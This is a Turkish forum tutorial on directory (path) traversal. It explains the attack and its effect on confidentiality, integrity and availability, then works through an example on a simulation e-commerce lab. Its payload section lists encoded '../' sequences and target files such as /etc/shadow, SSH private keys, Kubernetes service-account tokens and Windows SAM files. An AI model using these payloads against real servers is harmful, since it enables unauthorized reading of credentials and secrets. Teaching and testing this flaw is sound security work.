Merhaba THT ailesi bu konuda sizlere Directory Traversal Türkçesiyle Dizin Aşımı'nı anlatmaya çalışacağım, iyi okumalar.
-KONU İÇERİĞİ-
Directory Traversal Nedir?
Bir Saldırgan, Sisteminiz veya Uygulamanız Savunmasız İse Ne Yapabilir
Directory Traversal Payloadları
Directory Traversal Örneği
Directory Traversal Nedir?
Güvenli bir web sunucusu çalıştırmak için web içeriğine erişimi uygun şekilde kontrol etmek çok önemlidir. Directory Traversal veya Path Traversal, saldırganların kısıtlı dizinlere erişmesine ve web sunucusunun kök dizini dışında komutlar yürütmesine izin veren bir HTTP saldırısıdır.
Web sunucuları iki ana düzeyde güvenlik mekanizması sağlar
-Access Control Lists (ACLs)
-Root directory (Kök Dizin)
Yetkilendirme sürecinde bir Erişim Kontrol Listesi kullanılır. Web sunucusunun yöneticisinin, hangi kullanıcıların veya grupların sunucudaki belirli dosyalara erişebileceğini, bunları değiştirebileceğini veya yürütebileceğini ve ayrıca diğer erişim haklarını belirtmek için kullandığı bir listedir.
Kök dizin, kullanıcıların sınırlandırıldığı sunucu dosya sistemindeki belirli bir dizindir. Kullanıcılar bu kökün üzerindeki hiçbir şeye erişemez.
Bir Directory Traversal saldırısı gerçekleştirmek için, saldırganın tek ihtiyacı bir web tarayıcısı ve sistemdeki varsayılan dosyaları ve dizinleri körü körüne nerede bulacağına dair biraz bilgidir.
Bir Saldırgan, Sisteminiz veya Uygulamanız Savunmasız ise Ne Yapabilir?
Bilgi güvenliği çalışmalarının birincil amacı verilerin gizliliğini, bütünlüğünü ve kullanılabilirliğini korumaktır. Gizlilik, verilerin yetkisiz görüntüleme veya erişime karşı korunması anlamına gelir. Bütünlük, bilgilerin güvenilir ve doğru olduğundan emin olmak için yetkisiz değişikliklerden korunması anlamına gelir. Son olarak kullanılabilirlik, yetkili kullanıcıların ihtiyaç duydukları sistemlere ve kaynaklara erişimi olduğu anlamına gelir.
Bir web sunucusunun veya web uygulamasının dizin geçişi saldırısına karşı savunmasız olduğunu varsayalım. Bu durumda, saldırgan sistem veya verilerin gizliliğini, bütünlüğünü ve kullanılabilirliğini tehlikeye atmak için güvenlik açığından yararlanabilir. Örneğin, saldırgan kök dizine yetkisiz erişim sağlayarak ve sistem yapılandırması, parola dosyaları, veritabanı kimlik bilgileri ve çok daha fazlası gibi hassas bilgileri çalarak sistemin gizliliğini tehlikeye atabilir. Saldırgan ayrıca web sunucusunda güçlü komutlar yürütebilir ve bu da veri ihlaline veya web sunucusunun tamamen tehlikeye girmesine neden olabilir.
Saldırganlar, duruma göre, genellikle yüksek veri bütünlüğü gerektiren program dosyaları, kitaplıklar, kaynak kodları ve hatta finansal veya sağlık kayıtları gibi kritik dosyaları değiştirerek sistemin bütünlüğünü tehlikeye atmak için dizin geçişini kullanabilir.
Daha da kötüsü, bir saldırgan, sunucunun tam kontrolünü ele geçirmek ve muhtemelen uygulamaları veya kritik sistem yapılandırma dosyalarını silerek, sisteminizde potansiyel olarak onarılamaz bir hasara neden olarak ve kullanıcılar tarafından kullanılamaz hale getirmek için dizin geçişini kullanabilir.
Directory Traversal Payloadları
Basic Exploitation
Kod:
../
..\
..\/
%2e%2e%2f
%252e%252e%252f
%c0%ae%c0%ae%c0%af
%uff0e%uff0e%u2215
%uff0e%uff0e%u2216
16 bits Unicode encoding
Kod:
. = %u002e
/ = %u2215
\ = %u2216
UTF-8 Unicode encoding
Kod:
. = %c0%2e, %e0%40%ae, %c0ae
/ = %c0%af, %e0%80%af, %c0%2f
\ = %c0%5c, %c0%80%5c
Linux files
Kod:
/etc/issue
/etc/passwd
/etc/shadow
/etc/group
/etc/hosts
/etc/motd
/etc/mysql/my.cnf
/proc/[0-9]*/fd/[0-9]* (first number is the PID, second is the filedescriptor)
/proc/self/environ
/proc/version
/proc/cmdline
/proc/sched_debug
/proc/mounts
/proc/net/arp
/proc/net/route
/proc/net/tcp
/proc/net/udp
/proc/self/cwd/index.php
/proc/self/cwd/main.py
/home/$USER/.bash_history
/home/$USER/.ssh/id_rsa
/run/secrets/kubernetes.io/serviceaccount/token
/run/secrets/kubernetes.io/serviceaccount/namespace
/run/secrets/kubernetes.io/serviceaccount/certificate
/var/run/secrets/kubernetes.io/serviceaccount
/var/lib/mlocate/mlocate.db
/var/lib/mlocate.db
Windows files
Kod:
c:\windows\system32\license.rtf
c:\windows\system32\eula.txt
c:/boot.ini
c:/inetpub/logs/logfiles
c:/inetpub/wwwroot/global.asa
c:/inetpub/wwwroot/index.asp
c:/inetpub/wwwroot/web.config
c:/sysprep.inf
c:/sysprep.xml
c:/sysprep/sysprep.inf
c:/sysprep/sysprep.xml
c:/system32/inetsrv/metabase.xml
c:/sysprep.inf
c:/sysprep.xml
c:/sysprep/sysprep.inf
c:/sysprep/sysprep.xml
c:/system volume information/wpsettings.dat
c:/system32/inetsrv/metabase.xml
c:/unattend.txt
c:/unattend.xml
c:/unattended.txt
c:/unattended.xml
c:/windows/repair/sam
c:/windows/repair/system
/var/log/apache/access.log
/var/log/apache/error.log
/var/log/httpd/error_log
/usr/local/apache/log/error_log
/usr/local/apache2/log/error_log
/var/log/nginx/access.log
/var/log/nginx/error.log
/var/log/vsftpd.log
/var/log/sshd.log
/var/log/mail
Directory Traversal Örneği
Bu zafiyeti daha iyi anlayabilmemiz için application.security sitesinde bulundan, Directory Traversal simülasyonunu sizlere anlatacağım.
Zafiyetli sitemiz bir e-ticaret sitesi
Biz burada bir ürüne tıklıyoruz, ürün sayfasına girdiğimizde ürünün resmine tıklıyoruz ve bize resmin server üzerinde bulundan dosya adını gösteriyor TECH735.JPG .
TECH735.JPG yazan yere ../../../../etc/passwd yazıyoruz yetkimizin olmadığı şifreler dosyasını görüntüleyebiliyoruz.
Umarım sizlere bir şeyler katabilmişimdir okuduğunuz için teşekkürler.